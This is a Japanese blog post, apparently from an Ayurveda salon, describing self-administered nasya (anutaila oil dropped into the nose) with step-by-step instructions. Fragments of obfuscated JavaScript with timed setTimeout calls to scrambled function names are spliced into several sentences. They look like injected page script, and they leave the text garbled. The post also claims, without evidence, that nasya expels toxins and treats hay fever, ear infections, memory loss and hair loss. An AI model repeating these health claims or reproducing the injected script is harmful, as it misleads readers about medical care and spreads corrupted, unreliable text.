さて前回、頭痛にオイルがきいたよ~てな話をしたわけですが
実は、使ったのは謎のオイルだけではありませんでした。
使ったのは、アーユルヴェーダメディスンである「アヌタイラ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
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これは、「ナスヤ」と言う治療に使うオイルandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です。
私が、ナスヤを初めて体験したのは、
インドでのお試しパンチャカルマの時。
こちら⇒http://manas2010.blog118.fc2.com/blog-entry-6.html
体外のことは、なんでも抵抗なく受け入れてしまう私でも、
その不味いさは、著しく良く無い印象を受けた治療。(笑)
しかし最近、そのナスヤを毎日やっていますandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}(`・ω・´)キリッ
「ナスヤ」は「経鼻法」と言われる治療法で
アヌタイラと言うメディカルオイルを鼻から入れて
鼻の奥の微細な血管などから吸収させ、
頭部全体の毒素などを排泄させるもの。

アーユルヴェーダでは「鼻は脳への入り口」と言われていて
ナスヤはそんな大事な鼻のトラブルはもちろん、
脳や神経など鎖骨から上を整える重要な治療法です。
花粉症や鼻炎、蓄膿症、あるいは中耳炎などの耳鼻科系から
頭痛や偏頭痛、記憶力の向上、白髪や抜け毛にまで効果ありといいます。
【セルフナスヤのやり方】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1.オイルで顔をマッサージ(鼻からおでこにかけてをしっかり)
2.スチームやホットタオルで顔を温める(目は温めない方が良い)
3.片方の鼻の穴を抑え、反対の穴にアヌタイラを入れて吸う(と両鼻やる)

  ※ドクターにやってもらうときは、そこそこの量を入れますが、
   セルフケアとして日常やる時は片鼻2滴程度andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
4.鼻からおでこにかけてマッサージしながら数分安静に
5.そのうち喉にオイルの味のする痰のようなものが
  降りてくる感じがしてくるので
  ぬるま湯でうがいしながら、ひたすら吐き出す
6.鼻からも出てきたら、鼻もかんで良い
7.味がしなくなるまで、ひたすら吐き出し続ければ終了

  ※喉や鼻に降りてきたものは、
  毒素とかをかき集めてきたもの、飲んだらダメです!

※できれば、ナスヤをやるのは日中が良く
 浄化の時間である朝にやるのはおすすめです

オイルが奥に沁み込んでいくと、目や鼻が沁みることが多いです。
私も、その時によって耳の方や頭の方にしみる感じが良くします。
人によっては、顔のいろんな部分がピリピリするように
感じることもあるようです。
このときに、ああ毒素がたまってんのかな~と思うわけです…
喉に降りてくるときの味はなんともいえない味ですが
不思議なことに吐き出し終わるとスッキリ
しかも、視界がクッキリしたり、味覚が敏感になったりします。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

ちなみに、私はスチームとかの温めを省いてしまうことも多く、
アヌタイラを入れてマッサージ→吐き出す、と言う
メイン部分だけをざっくりやっています。
めんどくさがりですみません・・・
でも、私も花粉症で、ここ数年はお薬を飲んでいるのですが
ナスヤで自己回復できるように
今から頑張っていこうと思ってる次第。

花粉症が始まる半年前ぐらいからセルフナスヤをやると
症状が軽くなったり、治ってしまう人もいるそうなんで
本気で取り組んで生きたい所存です
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前回の頭痛の時は、オイルマッサージと共にナスヤもやったので
W効果があったのではと思います。
頭痛だけでなく、リンパの腫れも翌日には引いてましたからね

そんな「ナスヤ」をやってみたい方
サロンで私がやってあげることはできませんが
ご自分でお試しいただくことは可能です。
施術の際に遠慮なくお申し出くださいandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

また家でやってみたい方には、アヌタイラの入手方法など
アドバイスいたしますので、どうぞご相談ください
アーユルヴェーダサロンmanas 《マナス》